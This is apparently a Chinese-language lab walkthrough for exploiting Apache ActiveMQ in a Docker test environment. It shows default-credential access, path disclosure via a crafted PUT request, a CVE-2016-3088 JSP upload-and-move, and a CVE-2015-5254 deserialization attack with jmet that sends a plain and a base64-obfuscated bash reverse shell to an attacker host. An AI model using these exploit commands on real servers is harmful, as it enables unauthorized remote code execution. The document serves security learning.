ActiveMQ漏洞利用
ActiveMQ简介
ActiveMQ 是一款流行的开源消息服务器。默认情况下,ActiveMQ 服务是没有配置安全参数。恶意人员可以利用默认配置弱点发动远程命令执行攻击,获取服务器权限,从而导致数据泄露。
环境搭建
docker 常用命令
启动靶机环境;
docker-compose up -d
查看启动环境
docker ps -a
关闭靶机环境;
docker-compose down -v
docker ps -a
进入docker 中
docker-compose exec activemq bash
未授权访问
admin 默认口令未授权访问
ActiveMQ 默认使用 8161 端口,且管理地址为 /admin,默认口令为 admin/admin,登录成功
访问页面 http://192.168.241.131:8161/admin/test/systemProperties.jsp
能够发现ActiveMQ在服务器的安装路径及使用版本
Api同样需要登陆验证
使用默认密码admin、admin 登录成功
Fileserver则无需登录即可访问
http://192.168.241.131:8161/fileserver/
物理路径泄漏漏洞
ActiveMQ默认开启PUT请求,当开启PUT时,访问不存在的目录,Response会返回相应的物理路径信息
请求行
Request Raw:
PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1
Host: 192.168.197.25:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: 4
test
需要5.7 版本
ActiveMQ任意文件写入漏洞(CVE-2016-3088)
漏洞原理
漏洞出现在 fileserver 应用中,漏洞原理很简单,就是 fileserver 支持写入文件(但不解析jsp),但是支持移动文件(MOVE请求)。我们可以将jsp的文件PUT到 fileserver 下,然后再通过Move指令移动到可执行目录下(admin和api),造成任意文件写入漏洞。
受影响版本
ActiveMQ在5.12.x~5.13.x
实验环境
- 攻击机 :kali 192.168.241.177
- 靶机:192.168.341.131
ActiveMQ的绝对路径
默认的ActiveMQ账号密码均为admin
,首先访问
http://192.168.1.104:8161/admin/test/systemProperties.jsp
,查看ActiveMQ的绝对路径
文件上传
上传个文件到 fileserver看一下,发现 jsp 类型的文件上传失败,改为 txt 上传成功
发现上传成功,但是在filesever 下不能解析
然后移动到 api 目录下,成功的话,返回 204 No Content
访问查看api 下上传的jsp 文件
jsp 木马利用
ActiveMQ 反序列化漏洞利用
漏洞简介
环境搭建
切换到漏洞所在的目录
cd /home/kali/vulhub/activemq/CVE-2015-5254
执行 docker-compose up -d 打开靶机
查看 靶机启动是否正常
docker ps -a
受影响版本
Apache ActiveMQ 5.13.0之前的5.x版本
漏洞原理
ctiveMQ默认对外开启61616端口,该端口为ActiveMQ消息队列端口。
通过61616端口能将构造好的,可执行命令的序列化对象,作为消息发送给服务器。
当管理员访问Web管理页面并读取消息时,则会触发该漏洞。
访问web 页面查看队列的URL
http://192.168.241.131:8161/admin/browse.jsp?JMSDestination=event
目前消息队列无消息
漏洞复现
工具下载地址
https://github.com/matthiaskaiser/jmet
利用jmet构造可执行的序列化对象
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
攻击机操作:
- 下载工具
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
- 执行语句
sudo java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME 192.168.241.131 61616
返回网站查看,可以看到队列里出现了一个event新的任务
点击event
点进去任务详情触发
- 接下来进入docker检验漏洞是否存在,发现在docker中 命令执行成功,有文件被创建
漏洞利用
kali 监听
发送消息
- 将反弹shell序列化
反弹shell生成
bash -i >& /dev/tcp/192.168.241.177/1314 0>&1
攻击机执行
java -jar jmet-0.1.0-all.jar -Q hacker -I ActiveMQ -s -Y “bash -i >& /dev/tcp/192.168.241.177/1314 0>&1” -Yp ROME 192.168.241.131 61616
变形后为
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0MS4xNzcvMTMxNCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 192.168.241.131 61616
- 查看web 的消息队列
反弹shell 后查看监听
发现有消息存在,点击触发反弹shell后,查看攻击机的监听是否接收到反弹shell,发现已经成功
删除环境
漏洞利用完之后,记得删除创建的环境,不然很占空间内存的。
docker-compose down -v